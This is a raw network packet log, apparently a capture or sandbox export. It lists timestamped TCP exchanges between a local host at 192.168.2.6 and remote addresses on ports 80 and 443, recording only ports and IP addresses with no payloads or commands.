Dec 2, 2024 07:37:26.321284056 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.322285891 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.322371960 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.323029041 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.323101997 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.323564053 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.323587894 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.323635101 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.323668003 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.324640989 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.324707985 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.325515985 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.325593948 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.325845003 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.325856924 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.325905085 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.326982021 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.327043056 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.327197075 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.327306986 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.327928066 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.328000069 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.328051090 CET	49735	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.328109980 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.328155041 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.328182936 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.328227043 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.328320026 CET	49735	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.328335047 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.328341007 CET	49735	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.328346014 CET	443	49735	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.329297066 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.329355001 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.329606056 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.329663992 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.330441952 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.330523014 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.331264019 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.331331015 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.331705093 CET	49740	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.331733942 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.331815004 CET	49740	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.331986904 CET	49740	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:37:26.332010984 CET	443	49740	13.107.246.63	192.168.2.6
Dec 2, 2024 07:37:26.364572048 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.364583015 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.364707947 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.365124941 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.365186930 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.365569115 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.365642071 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.366208076 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.366271973 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.366348028 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.366436005 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.367439032 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.367511988 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.367762089 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.367855072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.368588924 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.368660927 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.368681908 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.368741035 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.369764090 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.369776011 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.369824886 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.370959997 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.371035099 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.371084929 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.371134996 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.372132063 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.372143984 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.372199059 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.373203993 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.373262882 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.373440027 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.373492956 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.374375105 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.374439955 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.375474930 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.375559092 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.375561953 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.375583887 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.375614882 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.375649929 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.376722097 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.376826048 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.377463102 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.377526045 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.377886057 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.377957106 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.378021002 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.378074884 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.379019976 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.379089117 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.443909883 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.443979025 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.444046974 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.444046974 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.444205046 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.444266081 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.444343090 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.444394112 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.445470095 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.445487022 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.445522070 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.445584059 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.446300983 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.446383953 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.446902990 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.446969032 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.447448015 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.447518110 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.447588921 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.447640896 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.448613882 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.448690891 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.448928118 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.448998928 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.449786901 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.449893951 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.450359106 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.450443029 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.450980902 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.450997114 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.451039076 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.452131033 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.452279091 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.452361107 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.452419996 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.453269005 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.453391075 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.454466105 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.454495907 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.454523087 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.454538107 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.454601049 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.454601049 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.455604076 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.455671072 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.455712080 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.455774069 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.456927061 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.457000017 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.457015991 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.457077980 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.457914114 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.458003044 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.458448887 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.458518028 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.459103107 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.459119081 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.459187984 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.459187984 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.460206985 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.460227966 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.460269928 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.460315943 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.461417913 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.461522102 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.461802006 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.461860895 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.462601900 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.462660074 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.463768005 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.463787079 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.463803053 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.463835001 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.463855982 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.465006113 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.465070009 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.466033936 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.466097116 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.466115952 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.466204882 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.466207981 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.466268063 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.467246056 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.467262983 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.467289925 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.467330933 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.468405008 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.468457937 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.468530893 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.468585968 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.469568968 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.469609976 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.469616890 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.469660997 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.523349047 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.523463964 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.523673058 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.523732901 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.523859024 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.523925066 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.523991108 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.524072886 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.524974108 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.524993896 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.525046110 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.525046110 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.525949955 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.526009083 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.526881933 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.526962996 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.527055025 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.527067900 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.527124882 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.528136015 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.528214931 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.528533936 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.528603077 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.529136896 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.529205084 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.529652119 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.529727936 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.530261993 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.530313015 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.530359983 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.530486107 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.531286955 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.531339884 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.532402039 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.532468081 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.532510996 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.532524109 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.532566071 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.533557892 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.533627987 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.533658981 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.533715963 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.534486055 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.534547091 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.535612106 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.535624981 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.535667896 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.535686016 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.535753012 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.536828995 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.536887884 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.537723064 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.537735939 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.537765980 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.537787914 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.537805080 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.538856983 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.538939953 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.538986921 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.539032936 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.539843082 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.539894104 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.540044069 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.540103912 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.574914932 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.575032949 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.575042963 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.575120926 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.575440884 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.575500965 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.575547934 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.575598955 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.576536894 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.576565027 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.576602936 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.576602936 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.577579975 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.577646017 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.577688932 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.577742100 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.578690052 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.578783035 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.578843117 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.578928947 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.579763889 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.579857111 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.579952955 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.580003977 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.580809116 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.580899954 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.580909014 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.580965042 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.581871986 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.581927061 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.582585096 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.582634926 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.582962990 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.582988977 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.583058119 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.583058119 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.584116936 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.584197998 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.584321022 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.584378958 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.585098982 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.585160017 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.585954905 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.586028099 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.586175919 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.586240053 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.586359024 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.586426020 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.587296009 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.587346077 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.587410927 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.587482929 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.588347912 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.588397980 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.654603004 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.654627085 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.654781103 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.655026913 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.655105114 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.655179977 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.655239105 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.658951998 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.658966064 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.658977985 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.658989906 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.659019947 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.659044981 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.659130096 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.659143925 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.659184933 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.660337925 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.660356045 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.660438061 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.661545038 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.661619902 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.661853075 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.661911011 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.662647963 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.662702084 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.663194895 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.663296938 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.663669109 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.663769960 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.664455891 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.664525032 CET	49724	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:26.664899111 CET	80	49724	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:26.664911032 CET	80	49724	185.215.113.206	192.168.2.6
